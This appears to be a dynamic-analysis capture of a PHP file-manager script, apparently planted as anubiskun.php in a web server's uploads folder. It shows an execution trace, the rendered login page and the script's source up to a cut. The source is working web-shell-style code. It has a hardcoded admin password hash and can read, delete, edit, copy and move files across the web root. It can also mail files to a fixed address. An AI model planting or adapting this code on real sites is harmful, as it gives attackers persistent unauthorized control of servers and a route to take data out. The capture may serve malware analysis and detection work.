2 14 0 0.002933 933848 is_dir 0 /var/www/html/uploads/anubiskun.php 97 1 '/var/www/html'
2 14 1 0.002948 933904
2 14 R TRUE
2 15 0 0.002962 933864 fm_clean_path 1 /var/www/html/uploads/anubiskun.php 103 1 '/'
3 16 0 0.002975 933864 trim 0 /var/www/html/uploads/anubiskun.php 1425 1 '/'
3 16 1 0.002988 933896
3 16 R '/'
2 A /var/www/html/uploads/anubiskun.php 1425 $path = '/'
3 17 0 0.003011 933864 trim 0 /var/www/html/uploads/anubiskun.php 1426 2 '/' '\\/'
3 17 1 0.003024 933936
3 17 R ''
2 A /var/www/html/uploads/anubiskun.php 1426 $path = ''
3 18 0 0.003046 933864 str_replace 0 /var/www/html/uploads/anubiskun.php 1427 3 [0 => '../', 1 => '..\\'] '' ''
3 18 1 0.003061 933960
3 18 R ''
2 A /var/www/html/uploads/anubiskun.php 1427 $path = ''
3 19 0 0.003082 933864 str_replace 0 /var/www/html/uploads/anubiskun.php 1431 3 '\\' '/' ''
3 19 1 0.003096 933960
3 19 R ''
2 15 1 0.003108 933864
2 15 R ''
1 A /var/www/html/uploads/anubiskun.php 103 $root_url = ''
2 20 0 0.003136 933864 define 0 /var/www/html/uploads/anubiskun.php 106 2 'FM_SHOW_HIDDEN' TRUE
2 20 1 0.003151 933968
2 20 R TRUE
2 21 0 0.003164 933896 define 0 /var/www/html/uploads/anubiskun.php 107 2 'FM_ROOT_PATH' '/var/www/html'
2 21 1 0.003177 934000
2 21 R TRUE
2 22 0 0.003191 933976 define 0 /var/www/html/uploads/anubiskun.php 108 2 'FM_ROOT_URL' 'http://localhost'
2 22 1 0.003206 934080
2 22 R TRUE
2 23 0 0.003219 934072 define 0 /var/www/html/uploads/anubiskun.php 109 2 'FM_SELF_URL' 'http://localhost/uploads/anubiskun.php'
2 23 1 0.003234 934176
2 23 R TRUE
2 24 0 0.003247 934104 fm_get_available_langs 1 /var/www/html/uploads/anubiskun.php 111 0
3 25 0 0.003259 934104 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 2271 0
3 A /var/www/html/uploads/anubiskun.php 2251 $strings = []
3 A /var/www/html/uploads/anubiskun.php 2254 $l10n_path = '/var/www/html/uploads/filemanager-l10n.php'
4 26 0 0.003294 934128 is_readable 0 /var/www/html/uploads/anubiskun.php 2255 1 '/var/www/html/uploads/filemanager-l10n.php'
4 26 1 0.003316 934168
4 26 R FALSE
3 25 1 0.003329 934128
3 25 R []
2 A /var/www/html/uploads/anubiskun.php 2271 $strings = []
3 27 0 0.003375 934128 array_keys 0 /var/www/html/uploads/anubiskun.php 2272 1 []
3 27 1 0.003389 934160
3 27 R []
2 A /var/www/html/uploads/anubiskun.php 2272 $languages = []
2 A /var/www/html/uploads/anubiskun.php 2273 $languages[] = 'en'
2 24 1 0.003425 934504
2 24 R [0 => 'en']
1 A /var/www/html/uploads/anubiskun.php 111 $languages = [0 => 'en']
2 28 0 0.003450 934504 fm_show_header 1 /var/www/html/uploads/anubiskun.php 143 0
2 A /var/www/html/uploads/anubiskun.php 1976 $sprites_ver = '20160315'
3 29 0 0.003474 934504 header 0 /var/www/html/uploads/anubiskun.php 1977 1 'Content-Type: text/html; charset=utf-8'
3 29 1 0.003490 934680
3 29 R NULL
3 30 0 0.003503 934648 header 0 /var/www/html/uploads/anubiskun.php 1978 1 'Expires: Sat, 26 Jul 1997 05:00:00 GMT'
3 30 1 0.003518 934760
3 30 R NULL
3 31 0 0.003531 934728 header 0 /var/www/html/uploads/anubiskun.php 1979 1 'Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
3 31 1 0.003548 934880
3 31 R NULL
3 32 0 0.003560 934848 header 0 /var/www/html/uploads/anubiskun.php 1980 1 'Pragma: no-cache'
3 32 1 0.003574 934944
3 32 R NULL
3 33 0 0.003594 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2048 2 'Close' 'en'
4 34 0 0.003608 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 34 1 0.003621 934904
4 34 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 33 1 0.003643 934904
3 33 R 'Close'
3 35 0 0.003657 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2048 2 'Create New Item' 'en'
4 36 0 0.003670 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 36 1 0.003682 934904
4 36 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 35 1 0.003704 934904
3 35 R 'Create New Item'
3 37 0 0.003719 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2049 2 'Item Type' 'en'
4 38 0 0.003732 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 38 1 0.003744 934904
4 38 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 37 1 0.003765 934904
3 37 R 'Item Type'
3 39 0 0.003778 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2049 2 'File' 'en'
4 40 0 0.003791 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 40 1 0.003803 934904
4 40 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 39 1 0.003823 934904
3 39 R 'File'
3 41 0 0.003837 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2049 2 'Folder' 'en'
4 42 0 0.003849 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 42 1 0.003860 934904
4 42 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 41 1 0.003888 934904
3 41 R 'Folder'
3 43 0 0.003901 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2049 2 'Item Name' 'en'
4 44 0 0.003914 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 44 1 0.003925 934904
4 44 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 43 1 0.003946 934904
3 43 R 'Item Name'
3 45 0 0.003959 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2049 2 'Create Now' 'en'
4 46 0 0.003972 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 46 1 0.003984 934904
4 46 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 45 1 0.004004 934904
3 45 R 'Create Now'
3 47 0 0.004034 934904 fm_enc 1 /var/www/html/uploads/anubiskun.php 2049 1 'FM_PATH'
4 48 0 0.004047 934904 htmlspecialchars 0 /var/www/html/uploads/anubiskun.php 1509 3 'FM_PATH' 3 'UTF-8'
4 48 1 0.004063 935176
4 48 R 'FM_PATH'
3 47 1 0.004077 935064
3 47 R 'FM_PATH'
3 49 0 0.004090 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2050 2 'Close' 'en'
4 50 0 0.004103 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 50 1 0.004114 934904
4 50 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 49 1 0.004136 934904
3 49 R 'Close'
3 51 0 0.004149 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2051 2 'Find a item in current folder...' 'en'
4 52 0 0.004162 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 52 1 0.004174 934904
4 52 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 51 1 0.004195 934904
3 51 R 'Find a item in current folder...'
3 53 0 0.004210 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2052 2 'Search Results' 'en'
4 54 0 0.004223 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 54 1 0.004234 934904
4 54 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 53 1 0.004254 934904
3 53 R 'Search Results'
2 28 1 0.004268 934904
2 55 0 0.004275 934904 fm_show_message 1 /var/www/html/uploads/anubiskun.php 144 0
2 55 1 0.004287 934904
2 56 0 0.004294 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 148 2 'Username' 'en'
3 57 0 0.004306 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
3 57 1 0.004318 934904
3 57 R []
2 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
2 56 1 0.004339 934904
2 56 R 'Username'
2 58 0 0.004353 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 148 2 'Username' 'en'
3 59 0 0.004366 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
3 59 1 0.004377 934904
3 59 R []
2 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
2 58 1 0.004398 934904
2 58 R 'Username'
2 60 0 0.004411 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 149 2 'Password' 'en'
3 61 0 0.004424 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
3 61 1 0.004435 934904
3 61 R []
2 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
2 60 1 0.004456 934904
2 60 R 'Password'
2 62 0 0.004470 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 149 2 'Password' 'en'
3 63 0 0.004482 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
3 63 1 0.004493 934904
3 63 R []
2 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
2 62 1 0.004514 934904
2 62 R 'Password'
2 64 0 0.004530 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 155 2 'Login' 'en'
3 65 0 0.004543 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
3 65 1 0.004554 934904
3 65 R []
2 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
2 64 1 0.004575 934904
2 64 R 'Login'
2 66 0 0.004589 934904 fm_show_footer 1 /var/www/html/uploads/anubiskun.php 159 0
3 67 0 0.004604 934904 fm_t 1 /var/www/html/uploads/anubiskun.php 2067 2 'New name' 'en'
4 68 0 0.004617 934904 fm_get_strings 1 /var/www/html/uploads/anubiskun.php 1636 0
4 68 1 0.004628 934904
4 68 R []
3 A /var/www/html/uploads/anubiskun.php 1636 $strings = []
3 67 1 0.004649 934904
3 67 R 'New name'
2 66 1 0.004834 934904
0.004868 855416
TRACE END [2023-02-12 23:13:58.417265]
<html><head>
<meta charset="utf-8">
<title>File Manager Script</title>
<meta name="Description" content="Manage files in easy way, lightweight and no headache.">
<link rel="icon" href="http://localhost/anubiskun.php?img=favicon" type="image/png">
<link rel="shortcut icon" href="http://localhost/anubiskun.php?img=favicon" type="image/png">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css">
<style>
html,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none}
html{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color:#222;background:#fafafa}
input,select,textarea,button{font-size:inherit;font-family:inherit}
a{color:#296ea3;text-decoration:none}a:hover{color:#b00}img{vertical-align:middle;border:none}
a img{border:none}span{color:#777}small{font-size:11px;color:#999}p{margin-bottom:10px}
ul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0}
table{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%}
th,td{padding:4px 7px;text-align:left;vertical-align:top;border:1px solid #ddd;background:#fff;white-space:nowrap}
th,td.gray{background-color:#eee}td.gray span{color:#222}
tr:hover td{background-color:#f5f5f5}tr:hover td.gray{background-color:#eee}
.table{width:100%;max-width:100%;margin-bottom:1rem;margin-top:4rem;}
.table td,.table th{padding:.55rem;vertical-align:top;border-top:1px solid #ddd}
.table td label input[type="checkbox"],.table th label input[type="checkbox"]{margin-top:4px;}
.table thead th{vertical-align:bottom;border-bottom:2px solid #eceeef}.table tbody+tbody{border-top:2px solid #eceeef}.table .table{background-color:#fff}
code,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,'Courier New',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto}
pre.with-hljs{padding:0} .hidden {display:none;}
pre.with-hljs code{margin:0;border:0;overflow:visible}
code.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0}
.fa.fa-caret-right{font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec}.fa.fa-home{font-size:1.2em;vertical-align:bottom;}
body {margin:0 30px;margin-top: 45px;}
#wrapper{min-width:400px;margin:0 auto}
.path{padding:20px;border:1px solid #ddd;background-color:#fff;margin-bottom:10px}
.right{text-align:right}.center{text-align:center}.float-right{float:right}.float-left{float:left}
.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff;margin-bottom:-3rem;margin-top:3rem;}
.message.ok{border-color:green;color:green}
.message.error{border-color:red;color:red}
.message.alert{border-color:orange;color:orange}
.btn{border:0;background:none;padding:0;margin:0;font-weight:bold;color:#296ea3;cursor:pointer}.btn:hover{color:#b00}
.preview-img{max-width:100%;background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC") repeat 0 0}.inline-actions>a>i{font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:2px;}
.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}
.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}
.filename{max-width:420px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.break-word{word-wrap:break-word;margin-left:30px;}.break-word.float-left a{color:#fff}.break-word+.float-right{padding-right:30px;position:relative;}.break-word+.float-right>a{color:#fff;font-size:1.2em;margin-right:4px;}
.modal{display:none;position:fixed;z-index:1;padding-top:100px;left:0;top:0;width:100%;height:100%;overflow:auto;background-color:#000;background-color:rgba(0,0,0,.4)}
.modal-content{background-color:#fefefe;margin:auto;padding:20px;border:1px solid #888;width:80%}
.close{color:#aaa;float:right;font-size:28px;font-weight:700}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer}
#editor {position:absolute;top:50px;right:30px;bottom:5px;left:30px;}
.edit-file-actions {position: absolute;top:0;right:30px;background:#585858;margin-top:5px;}
.edit-file-actions>button,.edit-file-actions>a{background:#f8f8fb;padding:5px 15px;border:0;cursor:pointer;color:#296ea3}
.group-btn{background:#fff;padding:2px 6px;border:1px solid;cursor:pointer;color:#296ea3;}
.main-nav{position:fixed;top:0;left:0;padding:10px 30px;padding-left:1px;width:100%;background:#585858;color:#fff;border:0;}
.login-form {width:320px;text-align:center;margin:0 auto;}
.login-form label,.path.login-form input {padding:5px;margin:10px}.footer-links{background:transparent;border:0}
input[type=search]{height:30px;margin-top:20px;width:80%;border:1px solid #ccc;}
.modalDialog{position:fixed;font-family:Arial,Helvetica,sans-serif;top:0;right:0;bottom:0;left:0;background:rgba(0,0,0,.8);z-index:99999;opacity:0;-webkit-transition:opacity .4s ease-in;-moz-transition:opacity .4s ease-in;transition:opacity .4s ease-in;pointer-events:none}.modalDialog:target{opacity:1;pointer-events:auto}.modalDialog>.model-wrapper{width:400px;position:relative;margin:10% auto;padding:5px 20px 13px;border-radius:2px;background:#fff}.close{background:#fff;color:#000;line-height:25px;position:absolute;right:0;text-align:center;top:0;width:24px;text-decoration:none;font-weight:700;border-radius:0 5px 0 0;font-size:18px}.close:hover{background:#00d9ff}.modalDialog p{line-height:30px}
div#searchresultWrapper{max-height:320px;overflow:auto;}div#searchresultWrapper li{margin: 8px 0; list-style:none;}
li.folder:before, li.file:before{font: normal normal normal 14px/1 "FontAwesome";content:"\f016";margin-right:5px;}li.folder:before{content:"\f114";}
</style>
</head>
<body>
<div id="wrapper">
<div id="createNewItem" class="modalDialog"><div class="model-wrapper"><a href="#close" title="Close" class="close">X</a><h2>Create New Item</h2><p>
<label for="newfile">Item Type : </label><input type="radio" name="newfile" id="newfile" value="file">File <input type="radio" name="newfile" value="folder" checked=""> Folder<br><label for="newfilename">Item Name : </label><input type="text" name="newfilename" id="newfilename" value=""><br><input type="submit" name="submit" class="group-btn" value="Create Now" onclick="newfolder('FM_PATH');return false;"></p></div></div>
<div id="searchResult" class="modalDialog"><div class="model-wrapper"><a href="#close" title="Close" class="close">X</a>
<input type="search" name="search" value="" placeholder="Find a item in current folder...">
<h2>Search Results</h2>
<div id="searchresultWrapper"></div>
</div></div>
<div class="path login-form">
<form action="" method="post">
<label for="fm_usr">Username</label><input type="text" id="fm_usr" name="fm_usr" value="" placeholder="Username" required=""><br>
<label for="fm_pwd">Password</label><input type="password" id="fm_pwd" name="fm_pwd" value="" placeholder="Password" required=""><br>
<select name="lang" title="Language" class="hidden">
<option value="en" selected="">en</option>
</select>
<input type="submit" value="Login">
</form>
</div>
</div>
<script>
function newfolder(p){var n=document.getElementById("newfilename").value;var t=document.querySelector('input[name="newfile"]:checked').value;if(n!==null&&n!==''&&t){window.location.hash="#";window.location.search='p='+encodeURIComponent(p)+'&new='+encodeURIComponent(n)+'&type='+encodeURIComponent(t);}}
function rename(p,f){var n=prompt('New name',f);if(n!==null&&n!==''&&n!=f){window.location.search='p='+encodeURIComponent(p)+'&ren='+encodeURIComponent(f)+'&to='+encodeURIComponent(n);}}
function change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v==='boolean')?v:!l[i].checked;}}
function get_checkboxes(){var i=document.getElementsByName('file[]'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type='checkbox'){a.push(i[j]);}}return a;}
function select_all(){var l=get_checkboxes();change_checkboxes(l,true);}
function unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);}
function invert_all(){var l=get_checkboxes();change_checkboxes(l);}
function mailto(p,f){var http=new XMLHttpRequest(); var params="path="+p+"&file="+f+"&type=mail&ajax=true"; http.open("POST", '', true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){ alert(http.responseText);}}
http.send(params);
}
function showSearch(u){var http=new XMLHttpRequest();var params="path="+u+"&type=search&ajax=true";http.open("POST", '', true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){ window.searchObj = http.responseText; document.getElementById('searchresultWrapper').innerHTML = "";window.location.hash="#searchResult"}}
http.send(params);}
var searchEl = document.querySelector('input[type=search]');var timeout = null;searchEl.onkeyup = function(evt) {clearTimeout(timeout);var data = JSON.parse(window.searchObj);var searchTerms = document.querySelector('input[type=search]').value;timeout = setTimeout(function () {if(searchTerms.length>=2) {var res = getSearchResult(data,searchTerms);var f1='',f2='';res.folders.forEach(function (d){f1+='<li class="'+d.type+'"><a href="?p='+ d.path+'">'+d.name+'</a></li>'; });res.files.forEach(function (d){f2+='<li class="'+d.type+'"><a href="?p='+ d.path +'&view='+ d.name +'">'+d.name+'</a></li>';});document.getElementById('searchresultWrapper').innerHTML = '<div class="model-wrapper">'+f1+f2+'</div>';}},500);};
function getSearchResult(data,searchTerms) {var folders=[],files=[];data.forEach(function(d){if(d.type === 'folder') { getSearchResult(d.items,searchTerms);if(d.name.toLowerCase().match(searchTerms)) {folders.push(d);}} else if(d.type === 'file') {if(d.name.toLowerCase().match(searchTerms)) {files.push(d);} }}); return {folders: folders, files: files};}
function checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);}
function backup(p,f){ var http=new XMLHttpRequest();var params="path="+p+"&file="+f+"&type=backup&ajax=true";http.open("POST", '', true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange=function(){if(http.readyState == 4 && http.status == 200){alert(http.responseText);}}
http.send(params); return false; }
function edit_save(i,atr){var contents=(atr=="ace")?editor.getSession().getValue():document.getElementById('normal-editor').value;if(!!contents){var form=document.createElement("form");form.setAttribute("method", 'POST');form.setAttribute("action", '');var inputField=document.createElement("textarea");inputField.setAttribute("type", "textarea");inputField.setAttribute("name", 'savedata');var _temp=document.createTextNode(contents);inputField.appendChild(_temp);form.appendChild(inputField);document.body.appendChild(form);form.submit();}}
</script>
</body></html>
<?php
/**
* File Manager Script
*/
// Default language ('en' and other from 'filemanager-l10n.php')
$lang = 'en';
// Auth with login/password (set true/false to enable/disable it)
$use_auth = true;
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...), Password has to encripted into MD5
$auth_users = array(
'admin' => '0da2e7fa0ba90f4ae031b0d232b8a57a',
);
// Readonly users (usernames array)
$readonly_users = array(
'user'
);
// Show or hide files and folders that starts with a dot
$show_hidden_files = true;
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Send files though mail
$send_mail = true;
// Send files though mail
$toMailId = "[email protected]"; //
// Default timezone for date() and time() - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/GMT+8'; // UTC
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '/';
// Root path for file manager
$root_path = $_SERVER['DOCUMENT_ROOT'] . '/' . $root_url;
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
$datetime_format = 'd.m.y H:i';
// include user config php file
if (defined('FM_CONFIG') && is_file(FM_CONFIG) ) {
include(FM_CONFIG);
}
//--- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL
// if fm included
if (defined('FM_EMBED')) {
$use_auth = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name('filemanager');
session_start();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
|| isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>Root path \"{$root_path}\" not found!</h1>";
exit;
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
$languages = fm_get_available_langs();
// logout
if (isset($_GET['logout'])) {
unset($_SESSION['logged']);
fm_redirect(FM_SELF_URL);
}
// Show image here
if (isset($_GET['img'])) {
fm_show_image($_GET['img']);
}
// Auth
if ($use_auth) {
if (isset($_SESSION['logged'], $auth_users[$_SESSION['logged']])) {
// Logged
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
// Logging In
sleep(1);
if (isset($auth_users[$_POST['fm_usr']]) && md5($_POST['fm_pwd']) === $auth_users[$_POST['fm_usr']]) {
$_SESSION['logged'] = $_POST['fm_usr'];
fm_set_msg('You are logged in');
fm_redirect(FM_SELF_URL . '?p=');
} else {
unset($_SESSION['logged']);
fm_set_msg('Wrong password', 'error');
fm_redirect(FM_SELF_URL);
}
} else {
// Form
unset($_SESSION['logged']);
fm_show_header();
fm_show_message();
?>
<div class="path login-form">
<form action="" method="post">
<label for="fm_usr"><?php echo fm_t('Username', $lang) ?></label><input type="text" id="fm_usr" name="fm_usr" value="" placeholder="<?php echo fm_t('Username', $lang) ?>" required><br>
<label for="fm_pwd"><?php echo fm_t('Password', $lang) ?></label><input type="password" id="fm_pwd" name="fm_pwd" value="" placeholder="<?php echo fm_t('Password', $lang) ?>" required><br>
<select name="lang" title="Language" class="hidden">
<?php foreach ($languages as $l): ?>
<option value="<?php echo $l ?>"<?php echo $l == $lang ? ' selected' : '' ?>><?php echo $l ?></option>
<?php endforeach; ?>
</select>
<input type="submit" value="<?php echo fm_t('Login', $lang) ?>">
</form>
</div>
<?php
fm_show_footer();
exit;
}
}
defined('FM_LANG') || define('FM_LANG', $lang);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION['logged']) && in_array($_SESSION['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
// always use ?p=
if (!isset($_GET['p'])) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
//AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {
//search : get list of files from the current folder
if(isset($_POST['type']) && $_POST['type']=="search") {
$dir = $_POST['path'];
$response = scan($dir);
echo json_encode($response);
}
//Send file to mail
if (isset($_POST['type']) && $_POST['type']=="mail") {
$isSend = send_mail($_POST['path'],$_POST['file'], $toMailId, 'File attached');
echo $isSend;
}
//backup files
if(isset($_POST['type']) && $_POST['type']=="backup") {
$file = $_POST['file'];
$path = $_POST['path'];
$date = date("dMy-His");
$newFile = $file.'-'.$date.'.bak';
copy($path.'/'.$file, $path.'/'.$newFile) or die("Unable to backup");
echo "Backup $newFile Created";
}
exit;
}
// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
$del = $_GET['del'];
$del = fm_clean_path($del);
$del = str_replace('/', '', $del);
if ($del != '' && $del != '..' && $del != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted';
fm_set_msg(sprintf($msg, $del));
} else {
$msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted';
fm_set_msg(sprintf($msg, $del), 'error');
}
} else {
fm_set_msg('Wrong file or folder name', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
$new = $_GET['new'];
$type = $_GET['type'];
$new = fm_clean_path($new);
$new = str_replace('/', '', $new);
if ($new != '' && $new != '..' && $new != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if($_GET['type']=="file") {
if(!file_exists($path . '/' . $new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: '.$new);
fm_set_msg(sprintf(fm_t('File <b>%s</b> created'), $new));
} else {
fm_set_msg(sprintf(fm_t('File <b>%s</b> already exists'), $new), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(fm_t('Folder <b>%s</b> created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(fm_t('Folder <b>%s</b> already exists'), $new), 'alert');
} else {
fm_set_msg(sprintf(fm_t('Folder <b>%s</b> not created'), $new), 'error');
}
}
} else {
fm_set_msg('Wrong folder name', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
// from
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg('Source path not defined', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// abs path from
$from = FM_ROOT_PATH . '/' . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
// move?
$move = isset($_GET['move']);
// copy/move
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', $copy, $msg_from));
} elseif ($rename === null) {
fm_set_msg('File or folder with this path already exists', 'alert');
} else {
fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', $copy, $msg_from), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', $copy, $msg_from));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', $copy, $msg_from), 'error');
}
}
} else {
